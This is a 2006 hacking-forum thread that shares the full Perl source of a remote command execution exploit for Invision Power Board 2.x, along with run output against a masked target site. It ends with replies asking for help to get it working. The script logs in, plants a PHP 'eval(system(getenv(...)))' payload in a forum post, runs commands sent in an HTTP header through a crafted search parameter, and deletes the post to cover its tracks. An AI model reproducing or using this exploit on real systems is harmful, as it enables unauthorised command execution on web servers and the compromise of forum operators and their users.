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www.waraxe.us Forum Index -> Invision Power Board -> Invision Power Board 2.* commands execution exploit by RST/G
Post new topic  Reply to topic View previous topic :: View next topic 
Invision Power Board 2.* commands execution exploit by RST/G
PostPosted: Thu May 18, 2006 10:53 pm Reply with quote
hippo
Beginner
Beginner
 
Joined: May 18, 2006
Posts: 3




Quote:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Invision Power Board 2.* commands execution exploit by RST/GHC
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[~] SERVER : www.*******.org
[~] PATH : /forum/
[~] LOGIN : ***
[~] PASSWORD : ***
[~] TARGET : 0 - IPB 2.0.*
[~] Login ... [ DONE ]
[+] SID: f46485d4237c609a0c49cf1b767a2872
[~] Try get md5_check ... [ DONE ]
[+] MD5_CHECK : 4a3f6fb217d3183dbbd447a1411458a8
[~] Create new message ... [ FAILED ] <-- its saying fail but i can create



Tested on Invision Power Board 2.0.4 and sucses to get md5 but now trying to crack it

Code:
#!/usr/bin/perl
# Wed Apr 26 16:44:15 CEST 2006 jolascoaga at 514.es
#
# INVISION POWER BOARD 2.1.5 <[URL]www.invisionboard.com[/URL]> pr00f 0f c0ncept
#
# remote command execution. vuln credits goes to IceShaman.
#
# works only if you have perms to post a comment. Exploit with replye is
# in my TODO...
#
# 514 still r0xing.
# !dSR the hardc0re hax0rs ;)
# There is no kwel comments in this release, wait for next upgrade
#######################################################################/

use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

$| = 1; # ;1 = |$

my ($proxy,$proxy_user,$proxy_pass,$lang);
my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var);
my ($md5_key, $post_key, $tmp_var);

my %lang_es = (
       'name' => 'Spanish Language',
       'login' => "Ahora est s identificado",
       'incorrect' => "Nombre de usuario o contrase a incorrectos",
       'deleted' => "Tema Eliminado"
);

my %lang_en = (
       'name' => 'English language',
       'login' => "You are now logged in",
       'incorrect' => "Sorry, we could not find a member using those log in details",
       'deleted' => 'Topic Deleted',
);
my %lang_strings = ();

my $ua = new LWP::UserAgent(
           cookie_jar=> { file => "$$.cookie" });

my $options = GetOptions (
 'host=s' => \$arg_host,
 'proxy=s' => \$proxy,
 'proxy_user=s' => \$proxy_user,
 'proxy_pass=s' => \$proxy_pass,
 'ipb_user=s' => \$ipb_user,
 'ipb_pass=s' => \$ipb_pass,
 'lang=s' => \$lang,
 'errors' => \$errors,
 'debug' => \$debug);

my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/;
print "Host: $host\nForum Index: $forum_index\n" if $debug;

&help unless ($host);

# w0w0w0w0w0 is smarter than some one i know :D
if (!$lang) {
       lang_autodetect();
       print "Detected lang is: $lang_strings{'name'}\n" if $debug;
}

while (1){
   print "invvy:\\> ";
   my $cmd = <STDIN>;
   &invvy($cmd);
}

sub invvy {
       chomp (my $cmd = shift);
       LWP:Debug::level('+') if $debug;

       $ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");

       $ua->proxy(['http'] => $proxy) if $proxy;
       my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

       ipb_login (); # This works with redirects enabled/disabled


       ipb_post(); # Post in a main forum.

       ipb_exec ($cmd);

       ipb_delete ($forum_index, $topic_index);
}
# guglucitos team presents:

sub help {
   print "Syntax: ./$0 <url> [options]\n";
   print "\t--ipb_user, --ipb_pass (needed if dont allow anonymous posts)\n";
   print "\t--proxy (http), --proxy_user, --proxy_pass\n";
   print "\t--lang=[es|en] (default: autodetect)\n";
   print "\t--debug\n";
   print "\nExample\n";
   print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n";
   print "\n";
   exit(1);
}

# sponsorized by coca-cola
sub lang_autodetect {

   my $req = HTTP::Request->new (GET => $host."/index.php");
   $ua->proxy(['http'] => $proxy) if $proxy;
   $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

   print $req->as_string() if $debug;

   my $res = $ua->request($req);
   my $html = $res->content();

   if (($html =~ /Bienvenido,/) or ($html =~ /Fecha y Hora actual/)) {
               %lang_strings = %lang_es;
               return;
   }
   if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) {
               %lang_strings = %lang_en;
               return;
   }
   print "Unknown lang switching to default: 'english'\n";
   %lang_strings = %lang_en;
}

# login function for 2.1.5
sub ipb_login {
       my $content;
       my $h = $host."/index.php?act=Login&CODE=01";
       print $h . "\n" if $debug;
       my $req = POST $h,[
               'referer' => $host,
               'UserName' => $ipb_user,
               'PassWord' => $ipb_pass,
               'CookieDate' => 1
               ]; #grab these, and send to dsr!
       print $req->as_string() if $debug;
       my $res = $ua->request($req);
       if ($errors) {
               print "[+] Context: Login in\n";
               print "HTTP Error code: ".$res->code()."\n";
               print "HTTP Location: ".$res->header("Location")."\n";
               my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
               print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n";
       }
       if ($res->code() eq 302) {
               $content = redirect ($res->header("Location"));

       } else {

               $content = $res->content();
       }

       if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) {
           print "Logged in\n" if $errors;
       } else {
          die "Can't log in\n";
       }

}

sub redirect {
   my ($addr) = @_;
   my $req = HTTP::Request->new (GET => $addr);
   $ua->proxy(['http'] => $proxy) if $proxy;
   $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

   print $req->as_string() if $debug; # MKSINK is r0xer

   my $res = $ua->request($req);
   my $html = $res->content();

   return $html;
}

sub ipb_post {
       # This is for posting into a main index.

       my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index;

       my $req = HTTP::Request->new (GET => $h);
       $ua->proxy(['http'] => $proxy) if $proxy;
       $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

       print $req->as_string() if $debug; #dirty_epic r0x++

       my $res = $ua->request($req);
       my $html = $res->content();

       ($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/;
       ($post_key) = $html =~ m/post_key' value='(.*?)'/;

       print "AUTH check: $md5_key\n" if $debug;
       print "POST key: $post_key\n" if $debug;

       $tmp_var = int(rand(31337));
       my $exploitme = 'eval(system(getenv(HTTP_'.$tmp_var.'))); //'; # seeeeeei la weeeeei
       $h = $host."/index.php";

       print $h."\n" if $debug;

       my $req = POST $h, [
               'st' => 0,
               'act' => "Post",
               's' => '',
               'f' => $forum_index,
               'auth_key' => $md5_key,
               'removeattachid' => 0,
               'MAX_FILE_SIZE' => 51200000,
               'CODE' => '01',
               'post_key' => $post_key,
               'TopicTitle' => '514 pwned',
               'TopicDesc' => '',
               'poll_question' => '',
               'ffont' => 0,
               'fsize' => 0,
               'Post' => $exploitme,
               'post_htmlstatus' => 0,
               'enableemo' => 'yes',
               'enablesig' => 'yes',
               'mod_options' => 'nowt',
               'iconid' => 0,
               'dosubmit' => 'Post New Topic'
               ];

       $ua->proxy(['http'] => $proxy) if $proxy;
       $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

       print $req->as_string() if $debug;
       my $res = $ua->request($req);
       my $html = $res->content();

       print "Location: ".$res->header("Location") if $debug;
       ($topic_index) = $res->header("Location") =~ m/showtopic=(\d+)/;
       if ($errors) {
               print "[+] Context: Creating post\n";
               print "HTTP Error code: ".$res->code()."\n";
               print "HTTP Location: ".$res->header("Location")."\n";
               print "Topic Index: ".$topic_index."\n";
               my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
               print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
       }

}

sub ipb_delete {
       my ($fid, $tid) = @_;
       my $req;
       print "Deleting Topic: $tid from forum: $fid\n" if $debug;

       my $h = $host."/index.php";
       $req = POST $h, [
                       'st' => 0,
                       'act' => 'mod',
                       'f' => $fid,
                       'auth_key' => $md5_key,
                       'CODE' => '08',
                       't' => $tid,
                       'submit' => 'Delete this topic'
               ]; # xxxx windows automatic reboot
       print $req->as_string() if $debug;
       $ua->proxy(['http'] => $proxy) if $proxy;
       $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

       my $res = $ua->request($req);

       if ($errors) {
               print "[+] Context: Deleting Topic\n";
               print "HTTP Error code: ".$res->code()."\n";
               print "HTTP Location: ".$res->header("Location")."\n";
               print "Topic Index: ".$topic_index."\n";
               my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
               print "- ERROR -\nFind string: ".$lang_strings{'deleted'}."\n$error\n- ERROR -\n";
       }
       # yow yow
       if ($res->code() eq 200) {
                if ($res->content() =~ /$lang_strings{'deleted'}/) {
                       print "Topic $topic_index deleted\n" if $errors;
               } else {
                       print "Maybe there was errors deleting post: $topic_index\n" if $errors;
               }
       }
}

# shhhhh this is hidden
sub ipb_exec {
       my ($cmd) = @_;
       my $h = $host."/index.php?act=Search&CODE=01";
       my $req = POST $h, [
                       'keywords' => "HTTP_".$tmp_var,
                       'namesearch' => '',
                       'forums[]' => $forum_index,
                       'prune' => 0,
                       'prune_type' => 'newer',
                       'result_type' => 'posts',
                       'search_in' => 'posts',
                       'sort_key' => 'last_post',
                       'searchsubs' => '1'
               ];
       print $req->as_string() if $debug;
       $ua->proxy(['http'] => $proxy) if $proxy;
       $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

       my $res = $ua->request($req);
       my $html = $res->content();

       my ($redir) = $html =~ m/url_bit.*?\"(.*?)\"/;
       print "Redirect to: $redir\n" if $errors; # don't ask

       if ($errors) {
               print "[+] Context: First search\n";
               print "HTTP Error code: ".$res->code()."\n";
               print "HTTP Location: ".$res->header("Location")."\n";
               print "Topic Index: ".$topic_index."\n";
               my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
               print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
       }

       if ($res->code eq 302) {
               $redir = $res->header("Location");
       }

       # piere - tonite is a great song
       my $req = HTTP::Request->new (GET => $redir.'&lastdate=z|eval.*?%20//)%23e%00');
       $ua->proxy(['http'] => $proxy) if $proxy;
       $req->header($tmp_var => 'echo STARTXPL;'.$cmd.';echo ENDXPL');
       $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

       print $req->as_string() if $debug;

       my $res = $ua->request($req);
       my $html = $res->content();

       $html =~ m/STARTXPL(.*?)ENDXPL/s;
       print $1."\n";

       # no matter with you
       if ($errors) {
               print "[+] Context: Executed\n";
               print "HTTP Error code: ".$res->code()."\n";
               print "HTTP Location: ".$res->header("Location")."\n";
               print "Topic Index: ".$topic_index."\n";
               my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
               print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
       }

}
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PostPosted: Mon May 22, 2006 1:14 am Reply with quote
spid3r
Regular user
Regular user
 
Joined: May 04, 2006
Posts: 7




what's this line do

Create new message ... [ FAILED ] <-- its saying fail but i can create

also get this error

# perl b.pl --host=http://www.xxxx.com/forums/index.php?showforum=2 --ipb_user=spider --ipb_pass=xxxx --lang=en
invvy:\>
Can't log in
#
View user's profile Send private message
nice....
PostPosted: Fri Nov 30, 2007 6:25 am Reply with quote
GoLsT
Regular user
Regular user
 
Joined: Nov 27, 2007
Posts: 12




but that a noob exploit
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Invision Power Board 2.* commands execution exploit by RST/G
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